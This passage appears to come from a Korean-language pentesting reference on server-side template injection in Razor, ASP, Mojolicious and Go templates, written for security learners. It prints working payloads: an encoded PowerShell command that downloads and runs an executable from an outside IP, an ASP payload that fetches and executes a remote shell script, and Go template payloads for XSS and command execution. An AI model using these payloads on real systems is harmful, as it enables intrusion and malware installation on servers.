  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

.NET System.Diagnostics.Process.Start 메서드는 서버에서 모든 프로세스를 시작하는 데 사용될 수 있으며, 따라서 웹쉘을 생성할 수 있습니다. 취약한 웹앱 예제는 https://github.com/cnotin/RazorVulnerableApp에서 찾을 수 있습니다.

더 많은 정보

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = 없음
  • <%= response.write(date()) %> = <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

더 많은 정보

Mojolicious (Perl)

비록 Perl이지만 Ruby의 ERB와 같은 태그를 사용합니다.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= perl code %>
<% perl code %>

SSTI in GO

Go의 템플릿 엔진에서 사용 확인은 특정 페이로드로 수행할 수 있습니다:

  • {{ . }}: 데이터 구조 입력을 드러냅니다. 예를 들어, Password 속성이 있는 객체가 전달되면, {{ .Password }}가 이를 노출할 수 있습니다.
  • {{printf "%s" "ssti" }}: 문자열 "ssti"를 표시할 것으로 예상됩니다.
  • {{html "ssti"}}, {{js "ssti"}}: 이 페이로드는 "html" 또는 "js"를 추가하지 않고 "ssti"를 반환해야 합니다. 추가 지침은 Go 문서에서 여기에서 확인할 수 있습니다.

XSS Exploitation

text/template 패키지를 사용하면 페이로드를 직접 삽입하여 XSS를 간단하게 수행할 수 있습니다. 반면, html/template 패키지는 응답을 인코딩하여 이를 방지합니다 (예: {{"<script>alert(1)</script>"}}&lt;script&gt;alert(1)&lt;/script&gt;로 결과가 나옵니다). 그럼에도 불구하고 Go에서 템플릿 정의 및 호출은 이 인코딩을 우회할 수 있습니다: {{define "T1"}}alert(1){{end}} {{template "T1"}}

vbnet Copy code

RCE Exploitation

RCE 익스플로잇은 html/templatetext/template 간에 상당히 다릅니다. text/template 모듈은 "call" 값을 사용하여 모든 공개 함수를 직접 호출할 수 있지만, html/template에서는 허용되지 않습니다. 이러한 모듈에 대한 문서는 html/template에 대한 여기text/template에 대한 여기에서 확인할 수 있습니다.

Go에서 SSTI를 통한 RCE를 위해 객체 메서드를 호출할 수 있습니다. 예를 들어, 제공된 객체에 명령을 실행하는 System 메서드가 있는 경우, {{ .System "ls" }}와 같이 악용할 수 있습니다. 이를 악용하기 위해서는 일반적으로 소스 코드에 접근해야 합니다, 주어진 예와 같이:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

더 많은 정보

더 많은 익스플로잇

더 많은 익스플로잇은 https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection에서 확인하세요. 또한 https://github.com/DiogoMRSilva/websitesVulnerableToSSTI에서 흥미로운 태그 정보를 찾을 수 있습니다.

BlackHat PDF

{% file src="../../.gitbook/assets/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %}

관련 도움말

유용할 것 같으면 읽어보세요:

도구

브루트포스 탐지 목록

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

연습 및 참고자료

RootedCON스페인에서 가장 관련성이 높은 사이버 보안 이벤트이며 유럽에서 가장 중요한 행사 중 하나입니다. 기술 지식을 촉진하는 임무를 가지고 있는 이 컨그레스는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.

{% embed url="https://www.rootedcon.com/" %}

{% hint style="success" %} AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기
{% endhint %}